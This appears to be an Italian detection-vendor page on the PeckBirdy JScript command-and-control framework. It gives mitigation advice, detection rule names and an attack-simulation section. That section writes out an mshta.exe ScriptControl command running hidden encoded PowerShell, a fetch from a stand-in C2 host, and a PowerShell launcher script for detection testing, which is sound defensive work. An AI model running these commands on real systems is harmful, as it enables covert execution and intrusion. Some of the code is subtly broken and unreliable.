PeckBirdy: Un Framework di Script Versatile per l’Esploitation dei LOLBins Usato da Gruppi di Minaccia Allineati alla Cina
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
PeckBirdy è un framework di comando e controllo basato su JScript utilizzato da attori APT allineati alla Cina per abusare dei binari living-off-the-land e impiantare backdoor modulari, tra cui HOLODONUT e MKDOOR. È progettato per operare su più runtime—browser web, MSHTA, WScript, NodeJS e .NET—e supporta diverse opzioni di trasporto come WebSocket, Flash, Comet e HTTP. Il framework è stato osservato in campagne tracciate come SHADOW-VOID-044 e SHADOW-EARTH-045, che hanno preso di mira risorse di gioco online, portali web governativi asiatici e un’organizzazione del settore educativo.
Indagine
I ricercatori hanno segnalato iniezioni di script malevoli su siti di gioco compromessi e pagine governative che hanno scaricato il caricatore PeckBirdy, che ha poi recuperato payload di follow-on—tra cui un exploit di Chrome (CVE-2020-16040) e componenti aggiuntivi di backdoor. L’attività è stata collegata a due impianti modulari, HOLODONUT e MKDOOR, e connessa a gruppi osservati precedentemente e modelli di infrastruttura. L’analisi ha anche catalogato indicatori di compromissione, inclusi indirizzi IP, domini e dettagli operativi come l’uso di certificati di firma del codice rubati.
Mitigazione
Blocca i domini e indirizzi IP malevoli identificati, e monitora l’uso atipico dei LOLBin e l’esecuzione di script tramite MSHTA, WScript, e NodeJS. Rileva la creazione del unique_id file in %TEMP% e applica la validazione rigorosa dei certificati di firma del codice. La copertura per payload di Cobalt Strike conosciuti e assembly .NET generati da Donut può ulteriormente ridurre l’esposizione.
Risposta
Se rilevato, isola i sistemi interessati, raccogli lo script iniettato e qualsiasi codice binario di backdoor prodotto, e blocca l’infrastruttura C2 associata. Effettua una triage forense per il movimento laterale e aggiorna la logica di rilevamento per gli artefatti della riga di comando osservati e i modelli di traffico di rete.
Flusso di Attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Comportamento Evasione Difese LOLBAS MSHTA Sospetto rilevato tramite Comandi Associati (via process_creation)
Visualizza
Modifica delle Esclusioni del Defender Sospetta tramite WMIC (via cmdline)
Visualizza
IOC (HashSha1) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
IOC (SourceIP) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
IOC (DestinationIP) per rilevare: PeckBirdy: Un Framework di Script Versatile per Sfruttamento LOLBins usato da Gruppi di Minaccia Allineati alla Cina
Visualizza
Utilizzo di MSHTA e ScriptControl per Esecuzione PeckBirdy [Creazione Processo Windows]
Visualizza
Rilevamento di Iniezione Script Malevolo e Furto Credenziali di PeckBirdy [Server Web]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-volo di Telemetria & Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.
-
Narrativa & Comandi di Attacco:
L’avversario desidera stabilire un canale di controllo remoto utilizzando il framework di script PeckBirdy. Sceglie script framework. They choosemshta.exeperché è un binario firmato di Windows che bypassa la maggior parte delle liste bianche delle applicazioni. Il payload incorpora unoggetto ScriptControl ActiveXper eseguire codice JScript recuperato da un server C2. I passaggi sono:- Scaricare il payload JScript malevolo dal C2 (ad esempio,
http://malicious.c2/payload.js). - Lanciare
mshta.execon unURI javascript:inline che crea unoggetto ScriptControl ActiveXistanza, carica lo script scaricato, e lo esegue. - Il codice JScript stabilisce un listener TCP inverso, completando il piede nella porta.
La linea di comando esatta che produce la telemetria è:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Questo comando contiene sia
mshta.exeche la stringaoggetto ScriptControl ActiveX, soddisfacendo la condizione Sigma. - Scaricare il payload JScript malevolo dal C2 (ad esempio,
-
Script di Test di Regressione:
Lo script sotto automatizza l’invocazione malevola dimshta. Può essere eseguito su una postazione di lavoro di test sotto un account amministrativo.#------------------------------------------------- # Esecuzione PeckBirdy via mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Beacon semplice - sostituire con payload reale sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromesso > C:temppwned.txt");'); "@ # Codifica il payload JScript per evitare problemi di interruzione di riga $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Avviando mshta malevolo..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Comandi di Pulizia:
Rimuovere qualsiasi artefatto creato dal test (ad esempio, il file temporaneo).#------------------------------------------------- # Pulizia dopo simulazione PeckBirdy #------------------------------------------------- Write-Host "[*] Pulendo artefatti di test..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Ferma qualsiasi processo mshta rimasto avviato dal test Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force